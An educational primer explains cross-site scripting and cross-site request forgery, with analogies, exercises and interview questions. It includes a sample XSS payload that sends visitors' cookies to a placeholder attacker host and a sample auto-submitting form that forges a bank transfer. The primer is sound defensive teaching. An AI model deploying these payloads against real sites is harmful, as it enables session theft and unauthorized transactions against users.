Web Security Basics

Two of the most common ways attackers abuse a site's trust in its own content or its users, and why they work.

What is it?

Many web security problems come down to trust. A browser generally trusts whatever content it's given, and a server generally trusts requests that look like they come from a logged-in user. Attackers exploit this in two classic ways.

Cross-site scripting (XSS). Say a site shows user comments to other visitors exactly as typed. An attacker posts a comment that's really a bit of JavaScript. If the site displays it without neutralizing it, the script runs in every visitor's browser as if the site itself wrote it. It can steal their session, read their data, or act as them. XSS means sneaking attacker code into a page so it runs with the page's trust and permissions.

Cross-site request forgery (CSRF). Say you're logged into your bank in one tab and visit a malicious page in another. That page secretly sends your bank a request, like a money transfer, from your browser. Your browser attaches your login cookie to any request to the bank's domain, whichever tab sent it. So the bank sees what looks like a legitimate, authenticated request from you, and might act on it. CSRF means tricking an already-logged-in browser into sending a request the user never intended.

In both, something runs or is trusted that the user never knowingly approved.

Explain like I'm 10

XSS is like a forger slipping a fake page into a book that everyone reads as the trusted author's words. CSRF is like someone getting you to sign a blank check without noticing, then filling in any amount, knowing your signature (your login session) is valid.

Examples

An XSS vulnerability

// Comment submitted by an attacker:
<script>fetch('https://evil.example/steal?cookie=' + document.cookie)</script>

// If the site inserts this directly into the page HTML unescaped,
// this script runs in every visitor's browser who views the comment.

The attacker doesn't hack the server. They get the site to serve their script to other victims, where it runs with full access to the page, including its cookies.

A CSRF request

<!-- Hosted on a malicious, unrelated site -->
<form action="https://bank.example/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker-account">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById("f").submit();</script>

Just visiting this page silently submits a form to the bank's real server. If the victim is logged into the bank in the same browser, their session cookie is attached automatically, and the bank may treat it as a legitimate request.

How it works

XSS works because a browser can't tell "content the site's developers wrote" from "user content that happens to look like code," unless the site neutralizes special characters before showing user content (called escaping or sanitizing).

CSRF works because browsers attach a domain's cookies to every request to that domain, whatever page or tab started it. The browser has no built-in way to know the user didn't intend the request.

Why does it exist?

Web trust runs on simple patterns: content in the page is treated as the page's own, and a request with valid cookies is treated as the real user. Attackers can exploit these easily unless a site defends against them directly.

Knowing how each attack works makes the defenses (escaping output, requiring an unpredictable token on sensitive requests) make sense instead of feeling like arbitrary rules.

When to use it

Think about XSS anywhere your site shows content that came from a user (a comment, a username, a search term) rather than from your developers. Think about CSRF anywhere a request triggers a meaningful action (changing a password, moving money, deleting data), especially if only cookies identify the user.

When not to use it

These concerns belong to the browser model of cookies and page content. They don't map directly to systems without a browser or shared session trust, like a server-to-server API that signs every call with a token. Those systems have their own, different security concerns.

Common mistakes

  • Showing user-submitted content in the page without escaping special characters, which opens the door to XSS.

  • Assuming a valid session cookie proves the user meant to send the request, which is exactly what CSRF exploits.

  • Bolting security on at the end instead of considering it whenever user input is shown or a sensitive action runs.

Practice exercises

  1. Easy:

    In your own words, explain the difference between what XSS and CSRF let an attacker do.

  2. Medium:

    A comment form inserts user input directly into the page's HTML. Describe exactly what a malicious comment could do to other visitors.

  3. Hard:

    Design a simple defense for a form-submission endpoint that stops the CSRF example above, and explain why it works.

Interview questions

What is cross-site scripting (XSS), in plain terms?

Getting a site to show and run attacker code as if it were the site's own trusted content, usually by injecting it into content the site later renders unescaped.

What is cross-site request forgery (CSRF), in plain terms?

Tricking a victim's browser into sending a request to a site they're logged into. It looks legitimate because the browser attaches their session cookie automatically.

Why does a valid session cookie alone not prove a request was intentional?

Browsers attach cookies to any request to a matching domain, whatever page triggered it. An attacker's page can make the browser send a fully authenticated-looking request the user never meant to make.